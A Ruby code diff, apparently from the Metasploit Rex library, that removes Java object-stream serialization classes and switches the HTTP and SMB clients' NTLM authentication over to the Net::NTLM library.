value = value.unpack('q>')[0]
when 'short'
value = io.read(2)
unless value && value.length == 2
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
end
value = value.unpack('s>')[0]
when 'boolean'
value = io.read(1)
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' if value.nil?
value = value.unpack('c')[0]
else # object
value = decode_content(io, stream)
end
value
end
# Serializes an NewArray value
#
# @param value [<Fixnum, Float>] the value to serialize
# @return [String] the serialized value
# @raise [Rex::Java::Serialization::EncodeError] if serialization fails
def encode_value(value)
res = ''
case type
when 'byte'
res = [value].pack('c')
when 'char'
res = [value].pack('s>')
when 'double'
res = [value].pack('G')
when 'float'
res = [value].pack('g')
when 'int'
res = [value].pack('l>')
when 'long'
res = [value].pack('q>')
when 'short'
res = [value].pack('s>')
when 'boolean'
res = [value].pack('c')
when Element
res = value.encode
else # object
res = encode_content(value)
end
res
end
end
end
end
end
end

View File

@ -1,57 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
# This class provides a NewArray (Java Array) representation
class NewClass < Element
include Rex::Java::Serialization::Model::Contents
# @!attribute array_description
# @return [Java::Serialization::Model::ClassDesc] The description of the class
attr_accessor :class_description
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
def initialize(stream = nil)
super(stream)
self.class_description = nil
end
# Deserializes a Rex::Java::Serialization::Model::NewClass
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
self.class_description = ClassDesc.decode(io, stream)
stream.add_reference(self) unless stream.nil?
self
end
# Serializes the Rex::Java::Serialization::Model::NewClass
#
# @return [String] if serialization succeeds
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
def encode
unless class_description.kind_of?(ClassDesc)
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize NewClass'
end
encoded = ''
encoded << class_description.encode
end
# Creates a print-friendly string representation
#
# @return [String]
def to_s
print_content(class_description)
end
end
end
end
end
end

View File

@ -1,154 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
# This class provides a newClassDesc representation
class NewClassDesc < Element
include Rex::Java::Serialization
# @!attribute class_name
# @return [Rex::Java::Serialization::Model::Utf] The name of the class
attr_accessor :class_name
# @!attribute serial_version
# @return [Fixnum] The java class serial version
attr_accessor :serial_version
# @!attribute flags
# @return [Fixnum] The java class flags
attr_accessor :flags
# @!attribute fields
# @return [Array] The java class fields
attr_accessor :fields
# @!attribute class_annotation
# @return [Rex::Java::Serialization::Model::Annotation] The java class annotations
attr_accessor :class_annotation
# @!attribute super_class
# @return [Rex::Java::Serialization::Model::ClassDesc] The java class superclass description
attr_accessor :super_class
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
def initialize(stream = nil)
super(stream)
self.class_name = nil
self.serial_version = 0
self.flags = 0
self.fields = []
self.class_annotation = nil
self.super_class = nil
end
# Deserializes a Rex::Java::Serialization::Model::NewClassDesc
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
self.class_name = Utf.decode(io, stream)
self.serial_version = decode_serial_version(io)
stream.add_reference(self) unless stream.nil?
self.flags = decode_flags(io)
fields_length = decode_fields_length(io)
fields_length.times do
field = Field.decode(io, stream)
self.fields << field
end
self.class_annotation = Annotation.decode(io, stream)
self.super_class = ClassDesc.decode(io, stream)
self
end
# Serializes the Rex::Java::Serialization::Model::ClassDescription
#
# @return [String] if serialization succeeds
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
def encode
unless class_name.class == Rex::Java::Serialization::Model::Utf ||
class_annotation.class == Rex::Java::Serialization::Model::Annotation ||
super_class.class == Rex::Java::Serialization::Model::ClassDesc
raise Rex::Java::Serialization::EncodeError, 'Filed to serialize NewClassDesc'
end
encoded = ''
encoded << class_name.encode
encoded << [serial_version].pack('q>')
encoded << [flags].pack('C')
encoded << [fields.length].pack('n')
fields.each do |field|
encoded << field.encode
end
encoded << class_annotation.encode
encoded << super_class.encode
encoded
end
# Creates a print-friendly string representation
#
# @return [String]
def to_s
str = "#{class_name}, [ "
fields_str = []
fields.each do |field|
fields_str << field.to_s
end
str << "#{fields_str.join(', ')} ]"
case super_class.description
when NewClassDesc
str << ", @super_class: #{super_class.description.class_name.to_s}"
when Reference
str << ", @super_class: #{super_class.description.to_s}"
end
str
end
private
# Deserializes a class serial version
#
# @param io [IO] the io to read from
# @return [Integer] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode_serial_version(io)
raw_serial = io.read(8)
if raw_serial.nil? || raw_serial.length != 8
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize ClassDescription'
end
raw_serial.unpack('Q>')[0]
end
# Deserializes a class flags
#
# @param io [IO] the io to read from
# @return [Integer] if deserialization is possible
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode_flags(io)
raw_flags = io.read(1)
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize ClassDescription' if raw_flags.nil?
raw_flags.unpack('C')[0]
end
# Deserializes a class fields length
#
# @param io [IO] the io to read from
# @return [Integer] if deserialization is possible
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode_fields_length(io)
fields_length = io.read(2)
if fields_length.nil? || fields_length.length != 2
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize ClassDescription'
end
fields_length.unpack('n')[0]
end
end
end
end
end
end

View File

@ -1,79 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
# This class provides a NewEnum (Java Enum) representation
class NewEnum < Element
include Rex::Java::Serialization::Model::Contents
# @!attribute enum_description
# @return [Rex::Java::Serialization::Model::ClassDescription] The description of the enum
attr_accessor :enum_description
# @!attribute constant_name
# @return [Rex::Java::Serialization::Model::Utf] The constant value in the Java Enum
attr_accessor :constant_name
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
def initialize(stream = nil)
super(stream)
self.enum_description = nil
self.constant_name = nil
end
# Deserializes a Rex::Java::Serialization::Model::NewEnum
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
self.enum_description = ClassDesc.decode(io, stream)
stream.add_reference(self) unless stream.nil?
self.constant_name = decode_constant_name(io)
self
end
# Serializes the Rex::Java::Serialization::Model::NewEnum
#
# @return [String] if serialization succeeds
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
def encode
unless enum_description.kind_of?(ClassDesc) &&
constant_name.kind_of?(Utf)
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize EnumDescription'
end
encoded = ''
encoded << enum_description.encode
encoded << encode_content(constant_name)
encoded
end
# Creates a print-friendly string representation
#
# @return [String]
def to_s
constant_name.to_s
end
private
# Deserializes the NewEnum constant name
#
# @param io [IO] the io to read from
# @return [Rex::Java::Serialization::Model::Utf] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succed
def decode_constant_name(io)
content = decode_content(io, stream)
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize NewEnum' unless content.kind_of?(Rex::Java::Serialization::Model::Utf)
content
end
end
end
end
end
end

View File

@ -1,235 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
# This class provides a NewObject (Java Object) representation
class NewObject < Element
include Rex::Java::Serialization::Model::Contents
# @!attribute class_desc
# @return [Rex::Java::Serialization::Model::ClassDesc] The description of the object
attr_accessor :class_desc
# @!attribute class_data
# @return [Array] The data of the object
attr_accessor :class_data
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
def initialize(stream = nil)
super(stream)
self.class_desc = nil
self.class_data = []
end
# Deserializes a Rex::Java::Serialization::Model::NewObject
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
self.class_desc = ClassDesc.decode(io, stream)
stream.add_reference(self) unless stream.nil?
case class_desc.description
when NewClassDesc
self.class_data = decode_class_data(io, class_desc.description)
when Reference
ref = class_desc.description.handle - BASE_WIRE_HANDLE
self.class_data = decode_class_data(io, stream.references[ref])
end
self
end
# Serializes the Rex::Java::Serialization::Model::NewObject
#
# @return [String] if serialization succeeds
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
def encode
unless class_desc.kind_of?(ClassDesc)
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize NewObject'
end
encoded = ''
encoded << class_desc.encode
class_data.each do |value|
if value.kind_of?(Array)
encoded << encode_value(value)
else
encoded << encode_content(value)
end
end
encoded
end
# Creates a print-friendly string representation
#
# @return [String]
def to_s
str = ''
case class_desc.description
when NewClassDesc
str << class_desc.description.class_name.to_s
when ProxyClassDesc
str << class_desc.description.interfaces.collect { |iface| iface.contents }.join(',')
when Reference
str << (class_desc.description.handle - BASE_WIRE_HANDLE).to_s(16)
end
str << ' => { '
data_str = class_data.collect { |data| data.to_s }
str << data_str.join(', ')
str << ' }'
str
end
private
# Deserializes the class_data for a class_desc and its super classes
#
# @param io [IO] the io to read from
# @param my_class_desc [Rex::Java::Serialization::Model::NewClassDesc] the class description whose data is being extracted
# @return [Array] class_data values if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode_class_data(io, my_class_desc)
values = []
unless my_class_desc.super_class.description.class == NullReference
if my_class_desc.super_class.description.class == Reference
ref = my_class_desc.super_class.description.handle - BASE_WIRE_HANDLE
values += decode_class_data(io, stream.references[ref])
else
values += decode_class_data(io, my_class_desc.super_class.description)
end
end
values += decode_class_fields(io, my_class_desc)
values
end
# Deserializes the fields data for a class_desc
#
# @param io [IO] the io to read from
# @param my_class_desc [Rex::Java::Serialization::Model::NewClassDesc] the class description whose data is being extracted
# @return [Array] class_data values if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode_class_fields(io, my_class_desc)
values = []
my_class_desc.fields.each do |field|
if field.is_primitive?
values << decode_value(io, field.type)
else
content = decode_content(io, stream)
values << content
end
end
values
end
# Deserializes a class_data value
#
# @param io [IO] the io to read from
# @param type [String] the type of the value to deserialize
# @return [Array(String, <Fixnum, Float>)] type and value if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization fails
def decode_value(io, type)
value = []
case type
when 'byte'
value_raw = io.read(1)
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' if value_raw.nil?
value.push('byte', value_raw.unpack('c')[0])
when 'char'
value_raw = io.read(2)
unless value_raw && value_raw.length == 2
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
end
value.push('char', value_raw.unpack('s>')[0])
when 'double'
value_raw = io.read(8)
unless value_raw && value_raw.length == 8
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
end
value.push('double', value = value_raw.unpack('G')[0])
when 'float'
value_raw = io.read(4)
unless value_raw && value_raw.length == 4
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
end
value.push('float', value_raw.unpack('g')[0])
when 'int'
value_raw = io.read(4)
unless value_raw && value_raw.length == 4
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
end
value.push('int', value_raw.unpack('l>')[0])
when 'long'
value_raw = io.read(8)
unless value_raw && value_raw.length == 8
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
end
value.push('long', value_raw.unpack('q>')[0])
when 'short'
value_raw = io.read(2)
unless value_raw && value_raw.length == 2
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
end
value.push('short', value_raw.unpack('s>')[0])
when 'boolean'
value_raw = io.read(1)
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' if value_raw.nil?
value.push('boolean', value_raw.unpack('c')[0])
else
raise Rex::Java::Serialization::DecodeError, 'Unsupported NewArray type'
end
value
end
# Serializes an class_data value
#
# @param value [Array] the type and value to serialize
# @return [String] the serialized value
# @raise [Rex::Java::Serialization::EncodeError] if serialization fails
def encode_value(value)
res = ''
case value[0]
when 'byte'
res = [value[1]].pack('c')
when 'char'
res = [value[1]].pack('s>')
when 'double'
res = [value[1]].pack('G')
when 'float'
res = [value[1]].pack('g')
when 'int'
res = [value[1]].pack('l>')
when 'long'
res = [value[1]].pack('q>')
when 'short'
res = [value[1]].pack('s>')
when 'boolean'
res = [value[1]].pack('c')
else
raise Rex::Java::Serialization::EncodeError, 'Unsupported NewArray type'
end
res
end
end
end
end
end
end

View File

@ -1,12 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
class NullReference < Element
end
end
end
end
end

View File

@ -1,109 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
# This class provides a ProxyClassDesc representation
class ProxyClassDesc < Element
include Rex::Java::Serialization
# @!attribute interfaces
# @return [Array] An array of interface names
attr_accessor :interfaces
# @!attribute class_annotation
# @return [Rex::Java::Serialization::Model::Annotation] The java class annotations
attr_accessor :class_annotation
# @!attribute super_class
# @return [Rex::Java::Serialization::Model::ClassDesc] The java class superclass description
attr_accessor :super_class
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
def initialize(stream = nil)
super(stream)
self.interfaces = []
self.class_annotation = nil
self.super_class = nil
end
# Deserializes a Rex::Java::Serialization::Model::ProxyClassDesc
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
stream.add_reference(self) unless stream.nil?
interfaces_length = decode_interfaces_length(io)
interfaces_length.times do
interface = Utf.decode(io, stream)
self.interfaces << interface
end
self.class_annotation = Annotation.decode(io, stream)
self.super_class = ClassDesc.decode(io, stream)
self
end
# Serializes the Rex::Java::Serialization::Model::ProxyClassDesc
#
# @return [String] if serialization succeeds
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
def encode
unless class_annotation.class == Rex::Java::Serialization::Model::Annotation ||
super_class.class == Rex::Java::Serialization::Model::ClassDesc
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize ProxyClassDesc'
end
encoded = ''
encoded << [interfaces.length].pack('N')
interfaces.each do |interface|
encoded << interface.encode
end
encoded << class_annotation.encode
encoded << super_class.encode
encoded
end
# Creates a print-friendly string representation
#
# @return [String]
def to_s
str = '[ '
interfaces_str = []
interfaces.each do |interface|
interfaces_str << interface.to_s
end
str << "#{interfaces_str.join(', ')} ]"
case super_class.description
when NewClassDesc
str << ", @super_class: #{super_class.description.class_name.to_s}"
when Reference
str << ", @super_class: #{super_class.description.to_s}"
end
str
end
private
# Deserializes the number of interface names
#
# @param io [IO] the io to read from
# @return [Fixnum] if deserialization is possible
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode_interfaces_length(io)
fields_length = io.read(4)
if fields_length.nil? || fields_length.length != 4
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize ProxyClassDesc'
end
fields_length.unpack('N')[0]
end
end
end
end
end
end

View File

@ -1,61 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
# This class provides a Java Reference representation.
class Reference < Element
# @!attribute contents
# @return [Fixnum] The stream handle being referenced
attr_accessor :handle
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
def initialize(stream = nil)
super(stream)
self.handle = 0
end
# Deserializes a Rex::Java::Serialization::Model::Reference
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
handle_raw = io.read(4)
unless handle_raw && handle_raw.length == 4
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Reference'
end
self.handle = handle_raw.unpack('N')[0]
self
end
# Serializes the Rex::Java::Serialization::Model::Reference
#
# @return [String] if serialization succeeds
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
def encode
if handle < BASE_WIRE_HANDLE
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Reference'
end
encoded = ''
encoded << [handle].pack('N')
encoded
end
# Creates a print-friendly string representation
#
# @return [String]
def to_s
"0x#{handle.to_s(16)}"
end
end
end
end
end
end

View File

@ -1,12 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
class Reset < Element
end
end
end
end
end

View File

@ -1,123 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
# This class provides a Java Stream representation
class Stream < Element
include Rex::Java::Serialization::Model::Contents
# @!attribute magic
# @return [Fixnum] The stream signature
attr_accessor :magic
# @!attribute version
# @return [Fixnum] The stream version
attr_accessor :version
# @!attribute contents
# @return [Array] The stream contents
attr_accessor :contents
# @!attribute references
# @return [Array] The stream objects to be referenced through handles
attr_accessor :references
def initialize(stream = nil)
super(nil)
self.magic = STREAM_MAGIC
self.version = STREAM_VERSION
self.contents = []
self.references = []
end
# Deserializes a Rex::Java::Serialization::Model::Stream
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
self.magic = decode_magic(io)
self.version = decode_version(io)
until io.eof?
content = decode_content(io, self)
self.contents << content
end
self
end
# Serializes the Rex::Java::Serialization::Model::Stream
#
# @return [String] if serialization succeeds
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
def encode
encoded = ''
encoded << [magic].pack('n')
encoded << [version].pack('n')
contents.each do |content|
encoded << encode_content(content)
end
encoded
end
# Adds an element to the references array
#
# @param ref [Rex::Java::Serialization::Model::Element] the object to save as reference dst
def add_reference(ref)
self.references.push(ref)
end
# Creates a print-friendly string representation
#
# @return [String]
def to_s
str = "@magic: 0x#{magic.to_s(16)}\n"
str << "@version: #{version}\n"
str << "@contents: [\n"
contents.each do |content|
str << " #{print_content(content)}\n"
end
str << "]\n"
str << "@references: [\n"
references.each do |ref|
str << " [#{(references.index(ref) + BASE_WIRE_HANDLE).to_s(16)}] #{print_content(ref)}\n"
end
str << "]\n"
end
private
# Deserializes the magic stream value
#
# @param io [IO] the io to read from
# @return [String] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode_magic(io)
magic = io.read(2)
unless magic && magic.length == 2 && magic.unpack('n')[0] == STREAM_MAGIC
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Stream'
end
STREAM_MAGIC
end
# Deserializes the version stream
#
# @param io [IO] the io to read from
# @return [Fixnum] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode_version(io)
version = io.read(2)
unless version && version.unpack('n')[0] == STREAM_VERSION
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Stream'
end
STREAM_VERSION
end
end
end
end
end
end

View File

@ -1,69 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
# This class provides a Utf string representation
class Utf < Element
# @!attribute length
# @return [Integer] the length of the string
attr_accessor :length
# @!attribute contents
# @return [String] the contents of the string
attr_accessor :contents
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
# @param contents [String] the contents of the utf string
def initialize(stream = nil, contents = '')
super(stream)
self.contents = contents
self.length = contents.length
end
# Deserializes a Rex::Java::Serialization::Model::Utf
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
raw_length = io.read(2)
if raw_length.nil? || raw_length.length != 2
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Utf'
end
self.length = raw_length.unpack('n')[0]
if length == 0
self.contents = ''
else
self.contents = io.read(length)
if contents.nil? || contents.length != length
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Utf'
end
end
self
end
# Serializes the Rex::Java::Serialization::Model::Utf
#
# @return [String]
def encode
encoded = [length].pack('n')
encoded << contents
encoded
end
# Creates a print-friendly string representation
#
# @return [String]
def to_s
contents
end
end
end
end
end
end

View File

@ -3,10 +3,6 @@ require 'rex/socket'
require 'rex/proto/http' require 'rex/proto/http'
require 'rex/text' require 'rex/text'
require 'digest' require 'digest'
require 'rex/proto/ntlm/crypt'
require 'rex/proto/ntlm/constants'
require 'rex/proto/ntlm/utils'
require 'rex/proto/ntlm/exceptions'
require 'rex/proto/http/client_request' require 'rex/proto/http/client_request'
@ -313,7 +309,6 @@ class Client
# Send a series of requests to complete Digest Authentication # Send a series of requests to complete Digest Authentication
# #
# @param opts [Hash] the options used to build an HTTP request # @param opts [Hash] the options used to build an HTTP request
#
# @return [Response] the last valid HTTP response we received # @return [Response] the last valid HTTP response we received
def digest_auth(opts={}) def digest_auth(opts={})
@nonce_count = 0 @nonce_count = 0
@ -457,13 +452,6 @@ class Client
# #
# @return [Response] the last valid HTTP response we received # @return [Response] the last valid HTTP response we received
def negotiate_auth(opts={}) def negotiate_auth(opts={})
ntlm_options = {
:signing => false,
:usentlm2_session => self.config['usentlm2_session'],
:use_ntlmv2 => self.config['use_ntlmv2'],
:send_lm => self.config['send_lm'],
:send_ntlm => self.config['send_ntlm']
}
to = opts['timeout'] || 20 to = opts['timeout'] || 20
opts['username'] ||= '' opts['username'] ||= ''
@ -472,28 +460,27 @@ class Client
if opts['provider'] and opts['provider'].include? 'Negotiate' if opts['provider'] and opts['provider'].include? 'Negotiate'
provider = "Negotiate " provider = "Negotiate "
else else
provider = 'NTLM ' provider = "NTLM "
end end
opts['method']||= 'GET' opts['method']||= 'GET'
opts['headers']||= {} opts['headers']||= {}
ntlmssp_flags = ::Rex::Proto::NTLM::Utils.make_ntlm_flags(ntlm_options)
workstation_name = Rex::Text.rand_text_alpha(rand(8)+6) workstation_name = Rex::Text.rand_text_alpha(rand(8)+6)
domain_name = self.config['domain'] domain_name = self.config['domain']
b64_blob = Rex::Text::encode_base64( ntlm_client = ::Net::NTLM::Client.new(
::Rex::Proto::NTLM::Utils::make_ntlmssp_blob_init( opts['username'],
domain_name, opts['password'],
workstation_name, workstation: workstation_name,
ntlmssp_flags domain: domain_name,
)) )
type1 = ntlm_client.init_context
ntlm_message_1 = provider + b64_blob
begin begin
# First request to get the challenge # First request to get the challenge
opts['headers']['Authorization'] = ntlm_message_1 opts['headers']['Authorization'] = provider + type1.encode64
r = request_cgi(opts) r = request_cgi(opts)
resp = _send_recv(r, to) resp = _send_recv(r, to)
unless resp.kind_of? Rex::Proto::Http::Response unless resp.kind_of? Rex::Proto::Http::Response
@ -506,47 +493,10 @@ class Client
ntlm_challenge = resp.headers['WWW-Authenticate'].scan(/#{provider}([A-Z0-9\x2b\x2f=]+)/ni).flatten[0] ntlm_challenge = resp.headers['WWW-Authenticate'].scan(/#{provider}([A-Z0-9\x2b\x2f=]+)/ni).flatten[0]
return resp unless ntlm_challenge return resp unless ntlm_challenge
ntlm_message_2 = Rex::Text::decode_base64(ntlm_challenge) ntlm_message_3 = ntlm_client.init_context(ntlm_challenge)
blob_data = ::Rex::Proto::NTLM::Utils.parse_ntlm_type_2_blob(ntlm_message_2)
challenge_key = blob_data[:challenge_key]
server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error
default_name = blob_data[:default_name] || '' #netbios name
default_domain = blob_data[:default_domain] || '' #netbios domain
dns_host_name = blob_data[:dns_host_name] || '' #dns name
dns_domain_name = blob_data[:dns_domain_name] || '' #dns domain
chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || '' #Client time
spnopt = {:use_spn => self.config['SendSPN'], :name => self.hostname}
resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = ::Rex::Proto::NTLM::Utils.create_lm_ntlm_responses(
opts['username'],
opts['password'],
challenge_key,
domain_name,
default_name,
default_domain,
dns_host_name,
dns_domain_name,
chall_MsvAvTimestamp,
spnopt,
ntlm_options
)
ntlm_message_3 = ::Rex::Proto::NTLM::Utils.make_ntlmssp_blob_auth(
domain_name,
workstation_name,
opts['username'],
resp_lm,
resp_ntlm,
'',
ntlmssp_flags
)
ntlm_message_3 = Rex::Text::encode_base64(ntlm_message_3)
# Send the response # Send the response
opts['headers']['Authorization'] = "#{provider}#{ntlm_message_3}" opts['headers']['Authorization'] = "#{provider}#{ntlm_message_3.encode64}"
r = request_cgi(opts) r = request_cgi(opts)
resp = _send_recv(r, to, true) resp = _send_recv(r, to, true)
unless resp.kind_of? Rex::Proto::Http::Response unless resp.kind_of? Rex::Proto::Http::Response
@ -558,6 +508,7 @@ class Client
return nil return nil
end end
end end
# #
# Read a response from the server # Read a response from the server
# #
@ -713,7 +664,6 @@ protected
attr_accessor :hostname, :port # :nodoc: attr_accessor :hostname, :port # :nodoc:
end end
end end

View File

@ -4,6 +4,8 @@ module Proto
module SMB module SMB
class Client class Client
require 'net/ntlm'
require 'rex/text' require 'rex/text'
require 'rex/struct2' require 'rex/struct2'
require 'rex/proto/smb/constants' require 'rex/proto/smb/constants'
@ -166,14 +168,14 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
# Scan the packet receive cache for a matching response # Scan the packet receive cache for a matching response
def smb_recv_cache_find_match(expected_type) def smb_recv_cache_find_match(expected_type)
clean = [] clean = []
found = nil found = nil
@smb_recv_cache.each do |cent| @smb_recv_cache.each do |cent|
pkt, data, tstamp = cent pkt, data, tstamp = cent
# Return matching packets and mark for removal # Return matching packets and mark for removal
if pkt['Payload']['SMB'].v['Command'] == expected_type if pkt['Payload']['SMB'].v['Command'] == expected_type
found = [pkt,data] found = [pkt,data]
clean << cent clean << cent
@ -623,16 +625,15 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
# Authenticate and establish a session # Authenticate and establish a session
def session_setup(*args) def session_setup(user='', pass='', domain='', do_recv=true)
if (self.dialect =~ /^(NT LANMAN 1.0|NT LM 0.12)$/) if (self.dialect =~ /^(NT LANMAN 1.0|NT LM 0.12)$/)
if (self.challenge_key) if (self.challenge_key)
return self.session_setup_no_ntlmssp(*args) return self.session_setup_no_ntlmssp(user, pass, domain, do_recv)
end end
if ( self.extended_security ) if ( self.extended_security )
return self.session_setup_with_ntlmssp(*args) return self.session_setup_with_ntlmssp(user, pass, domain, nil, do_recv)
end end
end end
@ -831,7 +832,16 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
name = Rex::Text.rand_text_alphanumeric(16) name = Rex::Text.rand_text_alphanumeric(16)
end end
blob = NTLM_UTILS.make_ntlmssp_secblob_init(domain, name, ntlmssp_flags) @ntlm_client = Net::NTLM::Client.new(
user,
pass,
workstation: name,
domain: domain,
flags: ntlmssp_flags
)
blob = @ntlm_client.init_context.serialize
native_data = '' native_data = ''
native_data << self.native_os + "\x00" native_data << self.native_os + "\x00"
@ -892,37 +902,9 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
# Save the temporary UserID for use in the next request # Save the temporary UserID for use in the next request
temp_user_id = ack['Payload']['SMB'].v['UserID'] temp_user_id = ack['Payload']['SMB'].v['UserID']
# Get default data type3 = @ntlm_client.init_context([blob].pack('m'))
blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(blob) type3_blob = type3.serialize
self.challenge_key = blob_data[:challenge_key] self.signing_key = @ntlm_client.session_key
server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error
#netbios name
self.default_name = blob_data[:default_name] || ''
#netbios domain
self.default_domain = blob_data[:default_domain] || ''
#dns name
self.dns_host_name = blob_data[:dns_host_name] || ''
#dns domain
self.dns_domain_name = blob_data[:dns_domain_name] || ''
#Client time
chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || ''
resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(user, pass, self.challenge_key, domain,
default_name, default_domain, dns_host_name,
dns_domain_name, chall_MsvAvTimestamp ,
self.spnopt, ntlm_options)
enc_session_key = ''
self.sequence_counter = 0
if self.require_signing
self.signing_key, enc_session_key, ntlmssp_flags = NTLM_UTILS.create_session_key(ntlmssp_flags, server_ntlmssp_flags, user, pass, domain,
self.challenge_key, client_challenge, ntlm_cli_challenge,
ntlm_options)
end
# Create the security blob data
blob = NTLM_UTILS.make_ntlmssp_secblob_auth(domain, name, user, resp_lm, resp_ntlm, enc_session_key, ntlmssp_flags)
pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
self.smb_defaults(pkt['Payload']['SMB']) self.smb_defaults(pkt['Payload']['SMB'])
@ -944,8 +926,8 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
pkt['Payload'].v['VCNum'] = 1 pkt['Payload'].v['VCNum'] = 1
pkt['Payload'].v['Capabilities'] = 0x8000d05c pkt['Payload'].v['Capabilities'] = 0x8000d05c
pkt['Payload'].v['SessionKey'] = self.session_id pkt['Payload'].v['SessionKey'] = self.session_id
pkt['Payload'].v['SecurityBlobLen'] = blob.length pkt['Payload'].v['SecurityBlobLen'] = type3_blob.length
pkt['Payload'].v['Payload'] = blob + native_data pkt['Payload'].v['Payload'] = type3_blob + native_data
# NOTE: if do_recv is set to false, we cant reach here... # NOTE: if do_recv is set to false, we cant reach here...
self.smb_send(pkt.to_s) self.smb_send(pkt.to_s)
@ -1771,7 +1753,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
# Remove the NetBIOS header # Remove the NetBIOS header
resp_rpkt.slice!(0, 4) resp_rpkt.slice!(0, 4)
resp_parm = resp_rpkt[poff, pcnt] _resp_parm = resp_rpkt[poff, pcnt]
